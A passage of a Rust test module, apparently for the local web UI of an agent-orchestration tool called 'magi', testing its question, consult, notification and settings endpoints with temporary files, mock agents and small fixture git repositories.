13543    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13544        let fx = Fixture::start().await;
13545        let id = ask(&fx, "No seat", &[]);
13546        let store = fx.questions();
13547        let before = std::fs::read(store.path_of(&id)).unwrap();
13548        let res = fx
13549            .post(
13550                &format!("/api/questions/{id}/say"),
13551                Some(r#"{"body":"hello"}"#),
13552            )
13553            .await;
13554        assert_eq!(res.status, 422, "{}", res.body);
13555        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13556        let res = fx
13557            .post(
13558                &format!("/api/questions/{id}/answer"),
13559                Some(r#"{"text":"hello"}"#),
13560            )
13561            .await;
13562        assert_eq!(res.status, 200, "{}", res.body);
13563        assert_eq!(
13564            store.get(&id).unwrap().resolution().as_deref(),
13565            Some("hello")
13566        );
13567    }
13568
13569    #[tokio::test]
13570    async fn saying_something_appends_a_turn_without_answering() {
13571        let fx = Fixture::start().await;
13572        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13573        fx.questions().beat(&id, ask::WaiterKind::Asker);
13574        let path = format!("/api/questions/{id}/say");
13575
13576        let res = fx
13577            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13578            .await;
13579        assert_eq!(res.status, 200, "{}", res.body);
13580        let body = res.json();
13581        assert_eq!(body["status"], "open", "talking back is not a decision");
13582        assert_eq!(body["answer"], Value::Null);
13583        assert_eq!(body["thread"][0]["who"], "operator");
13584        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13585        assert_eq!(body["waiting_on_agent"], true);
13586        // Still open, still counted, still exactly one question.
13587        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13588    }
13589
13590    #[tokio::test]
13591    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13592        let fx = Fixture::start().await;
13593        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13594
13595        let list = fx.get("/api/questions").await.json();
13596        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13597
13598        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13599        assert_eq!(res.status, 409, "{}", res.body);
13600        let q = fx.questions().get(&id).unwrap();
13601        assert!(q.status.open());
13602        assert!(q.consult.is_none());
13603    }
13604
13605    #[tokio::test]
13606    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13607        let fx = Fixture::start().await;
13608        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13609        let cfg = Config {
13610            agents: vec![crate::config::AgentSpec {
13611                id: "mock".to_owned(),
13612                kind: crate::config::AgentKind::Command,
13613                model: None,
13614                command: vec!["true".to_owned()],
13615                extra_args: Vec::new(),
13616                env: Default::default(),
13617                prompt_delivery: None,
13618                max_turn_secs: None,
13619            }],
13620            ..Config::default()
13621        };
13622        let talk = crate::talk::begin(
13623            &fx.talks(),
13624            &cfg,
13625            fx.home.path().to_path_buf(),
13626            Some("mock"),
13627        )
13628        .unwrap();
13629        let mut task = Task::new(
13630            "t".to_owned(),
13631            "Do it".to_owned(),
13632            PathBuf::from("/repo/magi"),
13633            Source::Agent {
13634                run: talk.id.clone(),
13635                node: crate::queue::CHAT_NODE.to_owned(),
13636            },
13637        );
13638        task.start("20260902-000000-beef".to_owned());
13639        fx.queue().put(&mut task).unwrap();
13640
13641        let list = fx.get("/api/questions").await.json();
13642        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13643        assert_eq!(
13644            list[0]["choices"],
13645            serde_json::json!(["SQLite", "Redis"]),
13646            "the hand-over is never a choice"
13647        );
13648        fx.questions()
13649            .update(&id, |q| {
13650                q.node = crate::land::APPROVAL_NODE.into();
13651                q.choices = vec!["merge".into(), "hold".into()];
13652                Ok(())
13653            })
13654            .unwrap();
13655        let list = fx.get("/api/questions").await.json();
13656        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13657        assert_eq!(list[0]["can_consult_chat"], true);
13658        fx.questions()
13659            .update(&id, |q| {
13660                q.node = crate::bump::NOTICE_NODE.into();
13661                Ok(())
13662            })
13663            .unwrap();
13664        let list = fx.get("/api/questions").await.json();
13665        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13666        assert_eq!(list[0]["can_consult_chat"], false);
13667    }
13668
13669    #[tokio::test]
13670    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13671        let fx = Fixture::start().await;
13672        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13673        fx.questions()
13674            .update(&id, |q| {
13675                q.node = crate::land::APPROVAL_NODE.into();
13676                q.choices = vec!["merge".into(), "hold".into()];
13677                Ok(())
13678            })
13679            .unwrap();
13680        let cfg = Config {
13681            agents: vec![crate::config::AgentSpec {
13682                id: "mock".to_owned(),
13683                kind: crate::config::AgentKind::Command,
13684                model: None,
13685                command: vec!["true".to_owned()],
13686                extra_args: Vec::new(),
13687                env: Default::default(),
13688                prompt_delivery: None,
13689                max_turn_secs: None,
13690            }],
13691            ..Config::default()
13692        };
13693        // Not a git working tree, so its `magi.toml` is read from disk.
13694        let repo = fx.home.path().join("chat-repo");
13695        std::fs::create_dir_all(&repo).unwrap();
13696        let toml = repo.join("magi.toml");
13697        std::fs::write(&toml, "this is = = not toml").unwrap();
13698        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13699        let mut task = Task::new(
13700            "t".to_owned(),
13701            "Do it".to_owned(),
13702            PathBuf::from("/repo/magi"),
13703            Source::Agent {
13704                run: talk.id.clone(),
13705                node: crate::queue::CHAT_NODE.to_owned(),
13706            },
13707        );
13708        task.start("20260902-000000-beef".to_owned());
13709        fx.queue().put(&mut task).unwrap();
13710
13711        let path = format!("/api/questions/{id}/consult");
13712        let res = fx.post(&path, None).await;
13713        assert!(res.status >= 400, "{}", res.body);
13714        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13715        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13716
13717        std::fs::write(&toml, "").unwrap();
13718        let res = fx.post(&path, None).await;
13719        assert_eq!(res.status, 202, "{}", res.body);
13720        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13721        let q = fx.questions().get(&id).unwrap();
13722        assert!(q.status.open());
13723        assert!(q.answer.is_none());
13724        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13725        assert_eq!(res.json()["can_consult_chat"], true);
13726        let list = fx.get("/api/questions").await.json();
13727        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13728        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13729
13730        let res = fx
13731            .post(
13732                &format!("/api/questions/{id}/answer"),
13733                Some(r#"{"choice":"hold"}"#),
13734            )
13735            .await;
13736        assert_eq!(res.status, 200, "{}", res.body);
13737        assert_eq!(res.json()["answer"]["choice"], "hold");
13738        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13739        assert_eq!(res.json()["can_consult_chat"], false);
13740        assert_eq!(fx.post(&path, None).await.status, 409);
13741
13742        let mut talk = fx.talks().get(&talk.id).unwrap();
13743        // This test closes the history view, not an unconsumed consultation.
13744        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13745        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13746        let list = fx.get("/api/questions").await.json();
13747        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13748        assert_eq!(list[0]["origin_chat_closed"], true);
13749        assert_eq!(list[0]["can_consult_chat"], false);
13750
13751        fx.talks().remove(&talk.id).unwrap();
13752        let list = fx.get("/api/questions").await.json();
13753        assert_eq!(list[0]["origin_chat"], Value::Null);
13754        assert_eq!(list[0]["origin_chat_closed"], false);
13755        assert_eq!(list[0]["can_consult_chat"], false);
13756    }
13757
13758    #[tokio::test]
13759    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13760        let fx = Fixture::start().await;
13761        let store = fx.questions();
13762        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13763        store.beat(&id, ask::WaiterKind::Asker);
13764        assert_eq!(
13765            fx.get("/api/health").await.json()["questions_needs_owner"],
13766            1
13767        );
13768
13769        // The owner asks back instead of deciding: the ask bar, the nav badge
13770        // and the title must stop naming this question, because there is
13771        // nothing to decide until the agent answers - `status` alone cannot
13772        // say that, which is the whole reason `questions_needs_owner` exists
13773        // alongside `questions_open`.
13774        let res = fx
13775            .post(
13776                &format!("/api/questions/{id}/say"),
13777                Some(r#"{"body":"why not Postgres?"}"#),
13778            )
13779            .await;
13780        assert_eq!(res.status, 200, "{}", res.body);
13781        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13782        assert_eq!(
13783            fx.get("/api/health").await.json()["questions_needs_owner"],
13784            0,
13785            "waiting on the agent is not waiting on the owner"
13786        );
13787
13788        // `magi ask --thread` replying is what brings the owner count back -
13789        // the same event that would resume the CLI call blocked in `magi
13790        // ask`.
13791        let mut q = store.get(&id).expect("get");
13792        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13793            .expect("reply");
13794        store.put(&mut q).expect("put");
13795        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13796        assert_eq!(
13797            fx.get("/api/health").await.json()["questions_needs_owner"],
13798            1,
13799            "the agent's reply is what should light the banner back up"
13800        );
13801    }
13802
13803    #[tokio::test]
13804    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13805        let fx = Fixture::start().await;
13806        let store = fx.questions();
13807
13808        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13809        let res = fx
13810            .post(
13811                &format!("/api/questions/{empty_id}/say"),
13812                Some(r#"{"body":"   "}"#),
13813            )
13814            .await;
13815        assert_eq!(res.status, 400, "{}", res.body);
13816
13817        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13818        let mut answered = store.get(&answered_id).expect("get");
13819        answered
13820            .answer(Answer::Choice("SQLite".to_owned()))
13821            .expect("answer");
13822        store.put(&mut answered).expect("put");
13823        let res = fx
13824            .post(
13825                &format!("/api/questions/{answered_id}/say"),
13826                Some(r#"{"body":"still there?"}"#),
13827            )
13828            .await;
13829        assert_eq!(res.status, 409, "{}", res.body);
13830
13831        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13832        let mut abandoned = store.get(&abandoned_id).expect("get");
13833        abandoned.abandon("timed out");
13834        store.put(&mut abandoned).expect("put");
13835        let res = fx
13836            .post(
13837                &format!("/api/questions/{abandoned_id}/say"),
13838                Some(r#"{"body":"still there?"}"#),
13839            )
13840            .await;
13841        assert_eq!(res.status, 409, "{}", res.body);
13842    }
13843
13844    #[tokio::test]
13845    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13846        let fx = Fixture::start().await;
13847        let questions = fx.questions();
13848        let mut q = Question::new(
13849            String::new(),
13850            crate::bump::NOTICE_NODE.into(),
13851            "release-watch".into(),
13852            "Release PR approval".into(),
13853            "Saved head".into(),
13854            vec!["merge".into(), "hold".into()],
13855        );
13856        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13857        q.merge_target = Some(crate::merge_decision::Target {
13858            pr: "https://example.test/mebae/pull/100".into(),
13859            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13860            language: "en".into(),
13861        });
13862        q.answer(Answer::Choice("merge".into())).unwrap();
13863        q.answer_delivered = true;
13864        questions.put(&mut q).unwrap();
13865        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13866        std::fs::create_dir_all(&dir).unwrap();
13867        std::fs::write(
13868            dir.join("state.json"),
13869            serde_json::to_vec(&serde_json::json!({
13870                "schema": 1, "sources": [q.id], "pending": [q.id]
13871            }))
13872            .unwrap(),
13873        )
13874        .unwrap();
13875        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13876        for migrated in [false, true] {
13877            if migrated {
13878                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13879            }
13880            for endpoint in ["/api/questions", "/api/questions/core"] {
13881                let response = fx.get(endpoint).await;
13882                assert_eq!(response.status, 200);
13883                let rows = response.json();
13884                let row = rows
13885                    .as_array()
13886                    .unwrap()
13887                    .iter()
13888                    .find(|r| r["id"] == q.id)
13889                    .unwrap();
13890                assert_eq!(row["status"], "answered");
13891                assert_eq!(row["answer"]["choice"], "merge");
13892                assert_eq!(row["can_answer"], false);
13893                assert_eq!(row["history_only"], true);
13894            }
13895            let answer = fx
13896                .post(
13897                    &format!("/api/questions/{}/answer", q.id),
13898                    Some(r#"{"choice":"merge"}"#),
13899                )
13900                .await;
13901            assert_eq!(answer.status, 409, "{}", answer.body);
13902            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13903        }
13904    }
13905
13906    #[tokio::test]
13907    async fn an_answer_the_question_does_not_offer_is_refused() {
13908        let fx = Fixture::start().await;
13909        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13910        let path = format!("/api/questions/{id}/answer");
13911
13912        for body in [
13913            r#"{"choice":"Postgres"}"#,
13914            r#"{"text":"whatever you think"}"#,
13915            r#"{"choice":"Redis","text":"both"}"#,
13916            r#"{}"#,
13917        ] {
13918            let res = fx.post(&path, Some(body)).await;
13919            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13920            assert!(res.json()["error"].is_string(), "{}", res.body);
13921        }
13922        // Nothing above may have answered it.
13923        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13924    }
13925
13926    #[tokio::test]
13927    async fn a_free_text_question_takes_text_and_not_a_choice() {
13928        let fx = Fixture::start().await;
13929        let id = ask(&fx, "What should the flag be called?", &[]);
13930        fx.questions().beat(&id, ask::WaiterKind::Asker);
13931        let path = format!("/api/questions/{id}/answer");
13932
13933        assert_eq!(
13934            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13935            400
13936        );
13937        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13938        assert_eq!(res.status, 200, "{}", res.body);
13939        assert_eq!(res.json()["answer"]["text"], "--json");
13940    }
13941
13942    #[tokio::test]
13943    async fn an_unknown_question_is_a_json_404() {
13944        let fx = Fixture::start().await;
13945        let res = fx
13946            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13947            .await;
13948        assert_eq!(res.status, 404, "{}", res.body);
13949        assert!(res.json()["error"].is_string());
13950    }
13951
13952    #[tokio::test]
13953    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13954        let fx = Fixture::start().await;
13955        let questions = Questions::at(fx.home.path().join("questions"));
13956        let store = Notices::at(fx.home.path().join("notifications"));
13957        let mut q = ask::Question::new(
13958            "t1".into(),
13959            "conduct".into(),
13960            "conductor".into(),
13961            "Continue?".into(),
13962            String::new(),
13963            Vec::new(),
13964        );
13965        questions.put(&mut q).unwrap();
13966        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13967        n.covered_by = Some(q.id.clone());
13968        let n = store.raise(n).unwrap();
13969        let listed = fx.get("/api/notifications").await.json();
13970        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13971        questions
13972            .update(&q.id, |q| {
13973                q.abandon("run gone");
13974                Ok(())
13975            })
13976            .unwrap();
13977        let listed = fx.get("/api/notifications").await.json();
13978        assert!(listed["items"][0]["answerable_question"].is_null());
13979        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13980        assert!(
13981            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13982                .unwrap()
13983                .contains("answerable_question")
13984        );
13985    }
13986
13987    #[tokio::test]
13988    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13989        let fx = Fixture::start().await;
13990        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13991        let task = crate::queue::Task::new(
13992            "work".into(),
13993            "work".into(),
13994            fx.home.path().into(),
13995            crate::queue::Source::Human,
13996        );
13997        let inquiry = outbox
13998            .file(&task, None, "test".into(), "入力待ち", "詳細")
13999            .unwrap();
14000        let root = fx.home.path().join("notifications/task-inquiries");
14001        std::fs::write(root.join("broken.json"), "{").unwrap();
14002        let mut unsupported = inquiry.clone();
14003        unsupported.id = "unsupported".into();
14004        unsupported.schema = 99;
14005        std::fs::write(
14006            root.join("unsupported.json"),
14007            serde_json::to_vec(&unsupported).unwrap(),
14008        )
14009        .unwrap();
14010        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14011        for _ in 0..2 {
14012            let response = fx.get("/api/decisions").await;
14013            assert_eq!(response.status, 200, "{}", response.body);
14014            let listed = response.json();
14015            assert_eq!(listed["unreadable"], 2);
14016            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14017            assert_eq!(listed["items"][0]["id"], inquiry.id);
14018            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14019        }
14020        assert_eq!(
14021            before,
14022            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14023        );
14024        assert!(outbox.list().is_err());
14025        std::fs::remove_file(root.join("broken.json")).unwrap();
14026        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14027        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14028    }
14029
14030    #[tokio::test]
14031    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14032        let fx = Fixture::start().await;
14033        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14034        std::fs::create_dir_all(&root).unwrap();
14035        let journal = serde_json::json!({
14036            "schema": 1, "pending": ["saved-inquiry"],
14037            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14038        });
14039        let bytes = serde_json::to_vec(&journal).unwrap();
14040        std::fs::write(root.join("state.json"), &bytes).unwrap();
14041        for _ in 0..2 {
14042            let response = fx.get("/api/decisions").await;
14043            assert_eq!(response.status, 200);
14044            let listed = response.json();
14045            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14046            assert!(listed["items"].as_array().unwrap().is_empty());
14047            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14048        }
14049        // An unreadable journal must not make the endpoint hide the list.
14050        std::fs::write(root.join("state.json"), b"{").unwrap();
14051        let response = fx.get("/api/decisions").await;
14052        assert_eq!(response.status, 200);
14053        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14054    }
14055
14056    #[tokio::test]
14057    async fn notifications_list_read_dismiss_and_health_agree() {
14058        let fx = Fixture::start().await;
14059        let store = Notices::at(fx.home.path().join("notifications"));
14060        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14061        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14062
14063        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14064        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14065
14066        store
14067            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14068            .unwrap();
14069        let health = fx.get("/api/health").await.json();
14070        assert_eq!(health["notifications_unread"], 2);
14071        assert_ne!(
14072            health["notifications_rev"], rev0,
14073            "the badge must move live"
14074        );
14075
14076        let listed = fx.get("/api/notifications").await.json();
14077        assert_eq!(listed["unread"], 2);
14078        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14079        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14080
14081        let read = fx
14082            .post(&format!("/api/notifications/{}/read", a.id), None)
14083            .await;
14084        assert_eq!(read.status, 200, "{}", read.body);
14085        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14086
14087        let gone = fx
14088            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14089            .await;
14090        assert_eq!(gone.status, 200, "{}", gone.body);
14091        let listed = fx.get("/api/notifications").await.json();
14092        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14093        assert_eq!(listed["unread"], 0);
14094
14095        store.raise(Notice::info("x", "again")).unwrap();
14096        let all = fx.post("/api/notifications/read-all", None).await;
14097        assert_eq!(all.status, 200, "{}", all.body);
14098        assert_eq!(all.json()["marked"], 1);
14099        assert_eq!(
14100            fx.get("/api/health").await.json()["notifications_unread"],
14101            0
14102        );
14103
14104        let missing = fx.post("/api/notifications/nope/read", None).await;
14105        assert_eq!(missing.status, 404, "{}", missing.body);
14106        assert!(missing.json()["error"].is_string());
14107    }
14108
14109    /// New work reaches the queue through `magi task add`, a standing talk's
14110    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14111    /// so the compose form and that route are gone. The tests that covered
14112    /// that route's validation went with it, and nothing was left asserting
14113    /// it stays gone — so a re-added handler would silently let the phone
14114    /// file briefs no one validated.
14115    #[tokio::test]
14116    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14117        let f = Fixture::start().await;
14118
14119        let res = f
14120            .post(
14121                "/api/queue",
14122                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14123            )
14124            .await;
14125
14126        assert_eq!(
14127            res.status, 405,
14128            "POST /api/queue must not be a route: {}",
14129            res.body
14130        );
14131        assert!(
14132            f.queue().list().is_empty(),
14133            "a task filed by a route that does not exist must not reach the disk"
14134        );
14135        // The path itself is still served — the Queue view reads it — and the
14136        // per-task controls are untouched by the entry being removed.
14137        assert_eq!(f.get("/api/queue").await.status, 200);
14138    }
14139
14140    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14141    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14142        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14143            .expect("checkout dir");
14144    }
14145
14146    /// Two command agents, so a config needs no real CLI.
14147    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14148
14149    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14150        let tmp = TempDir::new().expect("tempdir");
14151        let repo = tmp.path().join("repo");
14152        std::fs::create_dir_all(&repo).expect("repo dir");
14153        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14154        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14155        if let Some(text) = machine_toml {
14156            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14157            std::fs::write(&machine, text).expect("machine toml");
14158        }
14159        (tmp, repo, machine)
14160    }
14161
14162    async fn settings_checkout(path: &FsPath, text: &str) {
14163        std::fs::create_dir_all(path).unwrap();
14164        std::fs::write(path.join("magi.toml"), text).unwrap();
14165        for args in [
14166            vec!["init", "-b", "main"],
14167            vec!["add", "magi.toml"],
14168            vec![
14169                "-c",
14170                "user.name=Test",
14171                "-c",
14172                "user.email=test@example.invalid",
14173                "commit",
14174                "-m",
14175                "fixture",
14176            ],
14177            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14178            vec![
14179                "symbolic-ref",
14180                "refs/remotes/origin/HEAD",
14181                "refs/remotes/origin/main",
14182            ],
14183        ] {
14184            crate::git::git(path, &args).await.unwrap();
14185        }
14186    }
14187
14188    #[tokio::test]
14189    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14190        let (tmp, repo, machine) =
14191            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14192        let root = tmp.path().join("roots");
14193        let selected = root.join("host/owner/selected");
14194        settings_checkout(
14195            &selected,
14196            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14197        )
14198        .await;
14199        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14200        let before = std::fs::read(&machine).unwrap();
14201        let ui = Arc::new(
14202            Ui::new(
14203                Queue::at(tmp.path().join("queue")),
14204                Questions::at(tmp.path().join("questions")),
14205                Talks::at(tmp.path().join("talks")),
14206                tmp.path().join("runs"),
14207                tmp.path().to_path_buf(),
14208                repo.clone(),
14209            )
14210            .with_machine_config(Some(machine.clone())),
14211        );
14212        let query = || {
14213            Query(SettingsQuery {
14214                repo: Some(selected.clone()),
14215            })
14216        };
14217        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14218        assert!(v.error.is_none(), "{:?}", v.error);
14219        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14220        assert_eq!(conductor.source, "repo");
14221        assert_eq!(
14222            conductor.machine_value,
14223            Some(toml::Value::String("a".into()))
14224        );
14225        assert!(!conductor.editable);
14226        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14227        assert_eq!(
14228            judges.count.as_ref().unwrap().machine_value,
14229            Some(toml::Value::Integer(1))
14230        );
14231        assert!(
14232            !v.roles
14233                .iter()
14234                .find(|r| r.key == "reviewers")
14235                .unwrap()
14236                .editable
14237        );
14238        let unknown = || {
14239            Query(SettingsQuery {
14240                repo: Some(tmp.path().to_path_buf()),
14241            })
14242        };
14243        assert_eq!(
14244            settings_get(State(ui.clone()), unknown())
14245                .await
14246                .unwrap_err()
14247                .status,
14248            StatusCode::UNPROCESSABLE_ENTITY
14249        );
14250        let body = || {
14251            Ok(Json(RolesBody {
14252                revision: v.revision.clone(),
14253                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14254                counts: Default::default(),
14255            }))
14256        };
14257        assert_eq!(
14258            settings_put_roles(State(ui.clone()), unknown(), body())
14259                .await
14260                .unwrap_err()
14261                .status,
14262            StatusCode::UNPROCESSABLE_ENTITY
14263        );
14264        assert_eq!(std::fs::read(&machine).unwrap(), before);
14265        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14266            .await
14267            .unwrap();
14268        assert_eq!(
14269            saved.repo,
14270            selected.canonicalize().unwrap().display().to_string()
14271        );
14272        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14273        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14274        // A cache miss refreshes the stable candidate list exactly for validation.
14275        let fresh = root.join("host/owner/fresh");
14276        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14277        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14278            .await
14279            .unwrap();
14280        assert_eq!(fresh_view.repositories.len(), 3);
14281    }
14282
14283    #[tokio::test]
14284    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14285        let (tmp, repo, machine) = settings_dirs(
14286            "[roles]\nreviewers = [\"a\"]\n",
14287            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14288        );
14289        let root = tmp.path().join("roots");
14290        let selected = root.join("host/owner/selected");
14291        settings_checkout(
14292            &selected,
14293            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14294        )
14295        .await;
14296        let broken = root.join("host/owner/broken");
14297        settings_checkout(&broken, "[roles\nbroken").await;
14298        let machine_text = format!(
14299            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14300            toml::Value::String(root.display().to_string())
14301        );
14302        std::fs::write(&machine, &machine_text).unwrap();
14303        let originals: Vec<_> = [&repo, &selected, &broken]
14304            .iter()
14305            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14306            .collect();
14307        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14308        let default = f.get("/api/settings").await.json();
14309        assert_eq!(
14310            default["repo"],
14311            repo.canonicalize().unwrap().display().to_string()
14312        );
14313        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14314        let query = format!("?repo={}", selected.display());
14315        let res = f.get(&format!("/api/settings{query}")).await;
14316        assert_eq!(res.status, 200, "{}", res.body);
14317        let v = res.json();
14318        assert!(v["error"].is_null(), "{v}");
14319        assert_eq!(v["repositories"], default["repositories"]);
14320        let role = |key: &str| {
14321            v["roles"]
14322                .as_array()
14323                .unwrap()
14324                .iter()
14325                .find(|r| r["key"] == key)
14326                .unwrap()
14327        };
14328        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14329        assert_eq!(role("advisors")["source"], "repo");
14330        assert_eq!(role("advisors")["editable"], false);
14331        assert!(role("advisors")["machine_value"].is_null());
14332        assert_eq!(role("judges")["count"]["value"], 2);
14333        assert_eq!(role("judges")["count"]["machine_value"], 1);
14334        assert_eq!(role("judges")["count"]["source"], "repo");
14335        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14336        assert!(
14337            source.contains("origin/main") && !source.contains("magi/config/"),
14338            "{source}"
14339        );
14340        assert_eq!(
14341            role("reviewers")["editable"],
14342            false,
14343            "default context outside roots must protect its declarations"
14344        );
14345        let body =
14346            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14347        let unknown = format!("?repo={}", tmp.path().display());
14348        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14349        assert_eq!(
14350            f.put(&format!("/api/settings/roles{unknown}"), &body)
14351                .await
14352                .status,
14353            422
14354        );
14355        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14356        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14357            .to_string();
14358        assert_eq!(
14359            f.put(&format!("/api/settings/roles{query}"), &refuse)
14360                .await
14361                .status,
14362            422
14363        );
14364        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14365        assert_eq!(saved.status, 200, "{}", saved.body);
14366        assert_eq!(saved.json()["repo"], v["repo"]);
14367        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14368        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14369        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14370            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14371        }
14372        let error = f
14373            .get(&format!("/api/settings?repo={}", broken.display()))
14374            .await;
